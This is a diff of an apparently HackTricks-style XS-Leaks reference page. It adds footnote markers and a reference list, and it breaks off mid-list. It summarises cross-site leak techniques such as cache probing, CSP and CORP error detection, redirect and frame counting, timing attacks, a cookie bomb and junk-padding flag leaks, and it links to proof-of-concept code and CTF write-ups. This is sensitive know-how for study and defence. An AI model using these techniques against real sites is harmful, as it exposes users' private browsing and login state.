[https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)<sup>[[25]](#references)[[26]](#references)[[27]](#references)</sup> - **Summary:** Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error. - **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) @@ -519,7 +519,7 @@ Modern browsers won't indicate the URL it was redirected to, but you can still d - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) +- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)<sup>[[28]](#references)[[29]](#references)</sup> - **Summary:** Clear the file from the cache. Opens target page checks if the file is present in the cache. - **Code Example:** @@ -531,7 +531,7 @@ If a page loads an image only if the user is logged in, you can **invalidate** t - **Inclusion Methods**: Frames - **Detectable Difference**: Header -- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) +- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)<sup>[[30]](#references)</sup> - **Summary:** CSP header directives can be probed using the CSP iframe attribute, revealing policy details. - **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) @@ -541,7 +541,7 @@ A novel feature in Google Chrome (GC) allows web pages to **propose a Content Se - **Inclusion Methods**: Fetch API - **Detectable Difference**: Header -- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/) +- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)<sup>[[31]](#references)</sup> - **Summary:** Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin. - **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak) @@ -551,7 +551,7 @@ The CORP header is a relatively new web platform security feature that when set - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Headers -- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) +- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)<sup>[[32]](#references)</sup> - **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request. - **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak) @@ -561,7 +561,7 @@ Check the link for more information about the attack. - **Inclusion Methods**: Fetch API - **Detectable Difference**: Headers -- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) +- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)<sup>[[33]](#references)</sup> - **Summary**: If the Origin header is reflected in the header `Access-Control-Allow-Origin` it's possible to check if a resource is in the cache already. - **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) @@ -574,7 +574,7 @@ Note that if the origin isn't reflected but a wildcard is used (`Access-Control- - **Inclusion Methods**: Fetch API - **Detectable Difference**: Status Code -- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html) +- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)<sup>[[34]](#references)</sup> - **Summary:** GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished. - **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) @@ -584,7 +584,7 @@ Submitting a request using the Fetch API with `redirect: "manual"` and other par - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)<sup>[[1]](#references)</sup> +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)<sup>[[1]](#references)[[35]](#references)</sup> - **Summary:** Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions. - **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) @@ -594,14 +594,14 @@ An attacker is capable of deducing the presence of the Cross-Origin Opener Polic - **Inclusion Methods**: Fetch API, HTML Elements - **Detectable Difference**: Status Code / Content -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) +- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)<sup>[[36]](#references)</sup> - **Summary:** Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated. - **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**. If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `<script>` will automatically send the cookies (so you can check for errors).\ -An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended) +An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)<sup>[[37]](#references)</sup> `SameSite=None` or to be in the same context is usually needed for this type of attack. @@ -609,11 +609,11 @@ An example of the **cookie bomb + XS-Search** can be found in the Intended solut - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Status Code / Content -- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) +- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)<sup>[[38]](#references)</sup> - **Summary:** Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed. - **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) -According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB. +According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.<sup>[[39]](#references)</sup> > In general, the _web platform_ does not have limits on the length of URLs (although 2^31 is a common limit). _Chrome_ limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication. @@ -632,7 +632,7 @@ xs-search/url-max-length-client-side.md - **Inclusion Methods**: Fetch API, Frames - **Detectable Difference**: Status Code -- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76) +- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)<sup>[[40]](#references)</sup> - **Summary:** User the browser's redirect limit to ascertain the occurrence of URL redirections. - **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak) @@ -642,7 +642,7 @@ If the **max** number of **redirects** to follow of a browser is **20**, an atta - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: Redirects -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/) +- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)<sup>[[41]](#references)</sup> - **Summary:** JavaScript code manipulates the browser history and can be accessed by the length property. - **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak) @@ -680,7 +680,7 @@ console.log(await debug(win, "https://example.com/?a=b")) - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/) +- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)<sup>[[42]](#references)</sup> - **Summary:** Evaluate the quantity of iframe elements by inspecting the `window.length` property. - **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak) @@ -693,7 +693,7 @@ An example of this technique is that in chrome, a **PDF** can be **detected** wi - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/) +- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)<sup>[[43]](#references)</sup> - **Summary:** Read the leaked value to distinguish between 2 possible states - **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak) @@ -701,16 +701,16 @@ Information leakage through HTML elements is a concern in web security, particul ### Information Exposed by HTML Elements -- **HTMLMediaElement**: This element reveals the media's `duration` and `buffered` times, which can be accessed via its API. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) -- **HTMLVideoElement**: It exposes `videoHeight` and `videoWidth`. In some browsers, additional properties like `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, and `webkitDecodedFrameCount` are available, offering more in-depth information about the media content. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) -- **getVideoPlaybackQuality()**: This function provides details about video playback quality, including `totalVideoFrames`, which can indicate the amount of video data processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) -- **HTMLImageElement**: This element leaks the `height` and `width` of an image. However, if an image is invalid, these properties will return 0, and the `image.decode()` function will be rejected, indicating the failure to load the image properly. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) +- **HTMLMediaElement**: This element reveals the media's `duration` and `buffered` times, which can be accessed via its API. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)<sup>[[44]](#references)</sup> +- **HTMLVideoElement**: It exposes `videoHeight` and `videoWidth`. In some browsers, additional properties like `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, and `webkitDecodedFrameCount` are available, offering more in-depth information about the media content. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)<sup>[[45]](#references)</sup> +- **getVideoPlaybackQuality()**: This function provides details about video playback quality, including `totalVideoFrames`, which can indicate the amount of video data processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)<sup>[[46]](#references)</sup> +- **HTMLImageElement**: This element leaks the `height` and `width` of an image. However, if an image is invalid, these properties will return 0, and the `image.decode()` function will be rejected, indicating the failure to load the image properly. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)<sup>[[47]](#references)</sup> ### CSS Property - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html) +- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)<sup>[[48]](#references)[[49]](#references)</sup> - **Summary:** Identify variations in website styling that correlate with the user's state or status. - **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak) @@ -721,9 +721,9 @@ As a leak technique, the attacker can use the `window.getComputedStyle` method t - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history) +- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)<sup>[[50]](#references)</sup> - **Summary:** Detect if the `:visited` style is applied to an URL indicating it was already visited -- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html) +- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)<sup>[[51]](#references)</sup> > [!TIP] > According to [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), this is not working in headless Chrome. @@ -744,7 +744,7 @@ For further details on these properties and methods, visit their documentation p - **Inclusion Methods**: Frames - **Detectable Difference**: Headers -- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf) +- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)<sup>[[52]](#references)</sup> - **Summary:** In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions. - **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak) @@ -754,7 +754,7 @@ In Chrome, if a page with the `X-Frame-Options` header set to "deny" or "same-or - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: Headers -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger) +- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)<sup>[[53]](#references)</sup> - **Summary:** An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download. - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar) @@ -776,9 +776,9 @@ In scenarios where only logged-in users can trigger such downloads, these techni - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Timing -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass) +- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)<sup>[[54]](#references)</sup> - **Summary:** An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download. -- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) +- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))<sup>[[55]](#references)</sup> > [!WARNING] > This is why this technique is interesting: Chrome now has **cache partitioning**, and the cache key of the newly opened page is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, but if I open an ngrok page and use fetch in it, the cache key will be: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, the **cache key is different**, so the cache cannot be shared. You can find more detail here: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\ @@ -793,7 +793,7 @@ Or could just **send some fetch to the pontentially cached page and measure the - **Inclusion Methods**: Fetch API - **Detectable Difference**: Redirects -- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234) +- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)<sup>[[56]](#references)</sup> - **Summary:** It's possible to find out if a response to a fetch request is a redirect - **Code Example**: @@ -803,7 +803,7 @@ Or could just **send some fetch to the pontentially cached page and measure the - **Inclusion Methods**: Fetch API - **Detectable Difference**: Timing -- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) +- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)<sup>[[57]](#references)</sup> - **Summary:** It's possible to try to load a resource and about before it's loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn't cached. - **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) @@ -813,7 +813,7 @@ Use _**fetch**_ and _**setTimeout**_ with an **AbortController** to both detect - **Inclusion Methods**: HTML Elements (script) - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) +- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)<sup>[[58]](#references)</sup> - **Summary:** It's possible to **overwrite built-in functions** and read their arguments which even from **cross-origin script** (which cannot be read directly), this might **leak valuable information**. - **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) @@ -821,7 +821,7 @@ Use _**fetch**_ and _**setTimeout**_ with an **AbortController** to both detect - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)<sup>[[59]](#references)</sup> - **Summary:** Measure execution time of a web using service workers. - **Code Example**: @@ -836,7 +836,7 @@ Upon arrival of the request initiated in the preceding step, the **service worke - **Inclusion Methods**: Fetch API - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)<sup>[[60]](#references)</sup> - **Summary:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request. Other clocks could be used. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks) @@ -844,7 +844,7 @@ Upon arrival of the request initiated in the preceding step, the **service worke - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)<sup>[[61]](#references)</sup> - **Summary:** se [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request using `window.open`. Other clocks could be used. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) @@ -871,7 +871,7 @@ However, if for whatever reason you **MUST** do it **char by char** (maybe the c ``` Therefore, what you can do is to **add a lot of junk chars** (For example **thousands of "W"s**) to **fill the web page before the secret or add something like** `<br><canvas height="1850px"></canvas><br>.`\ -Then if for example our **injection appear before the flag**, the **image** would be **loaded**, but if appears **after** the **flag**, the flag + the junk will **prevent it from being loaded** (you will need to play with how much junk to place). This is what happened in [**this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). +Then if for example our **injection appear before the flag**, the **image** would be **loaded**, but if appears **after** the **flag**, the flag + the junk will **prevent it from being loaded** (you will need to play with how much junk to place). This is what happened in [**this writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).<sup>[[62]](#references)</sup> Another option would be to use the **scroll-to-text-fragment** if allowed: @@ -935,5 +935,62 @@ There are mitigations recommended in [https://xsinator.com/paper.pdf](https://xs - [3] [xsleaks/xsleaks – GitHub repository](https://github.com/xsleaks/xsleaks) - [4] [XSinator – browser XS-Leaks testing tool](https://xsinator.com/) - [5] [nn9ed CTF 2019 – x-oracle challenge writeup (ka0labs)](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) +- [6] [XS-Leaks Wiki - Timing Attacks - Clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks) +- [7] [USENIX - Presentation - Staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu) +- [8] [XS-Leaks Wiki - Attacks - Error Events](https://xsleaks.dev/docs/attacks/error-events) +- [9] [XS-Leaks Wiki - Timing Attacks - Network Timing: Onload Events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) +- [10] [XS-Leaks Wiki - Timing Attacks - Network Timing: Unload Events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) +- [11] [XS-Leaks Wiki - Timing Attacks - Network Timing: Sandboxed Frame Timing Attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) +- [12] [XS-Leaks Wiki - Browser Features - Corb](https://xsleaks.dev/docs/attacks/browser-features/corb) +- [13] [XS-Leaks Wiki - Attacks - Id Attribute](https://xsleaks.dev/docs/attacks/id-attribute) +- [14] [XS-Leaks Wiki - Experiments - Portals](https://xsleaks.dev/docs/attacks/experiments/portals) +- [15] [XS-Leaks Wiki - Attacks - Postmessage Broadcasts](https://xsleaks.dev/docs/attacks/postmessage-broadcasts) +- [16] [XS-Leaks Wiki - Timing Attacks - Execution Timing: Timing The Event Loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop) +- [17] [XS-Leaks Wiki - Timing Attacks - Execution Timing: Busy Event Loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) +- [18] [XS-Leaks Wiki - Timing Attacks - Connection Pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool) +- [19] [xsleaks.github.io - X Frame - Index](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html) +- [20] [XS-Leaks Wiki - Timing Attacks - Performance Api: Detecting X Frame Options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options) +- [21] [ndss-symposium.org - Awakening The Webs Sleeper Agents Misusing Service Workers For Privacy Leakage](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage) +- [22] [XS-Leaks Wiki - Timing Attacks - Performance Api: Detecting Cached Resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources) +- [23] [XS-Leaks Wiki - Timing Attacks - Performance Api: Network Duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration) +- [24] [bugs.chromium.org - Issues - Detail](https://bugs.chromium.org/p/chromium/issues/detail?id=828265) +- [25] [bugs.chromium.org - Issues - Detail](https://bugs.chromium.org/p/chromium/issues/detail?id=313737) +- [26] [lists.w3.org - May](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html) +- [27] [XS-Leaks Wiki - Attacks - Navigations: Cross Origin Redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) +- [28] [XS-Leaks Wiki - Attacks - Cache Probing: Cache Probing With Error Events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events) +- [29] [sirdarckcat.blogspot.com - Http Cache Cross Site Leaks](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html) +- [30] [bugs.chromium.org - Issues - Detail](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) +- [31] [XS-Leaks Wiki - Browser Features - Corp](https://xsleaks.dev/docs/attacks/browser-features/corp) +- [32] [XS-Leaks Wiki - Browser Features - Corb: Detecting The Nosniff Header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) +- [33] [XS-Leaks Wiki - Attacks - Cache Probing: Cors Error On Origin 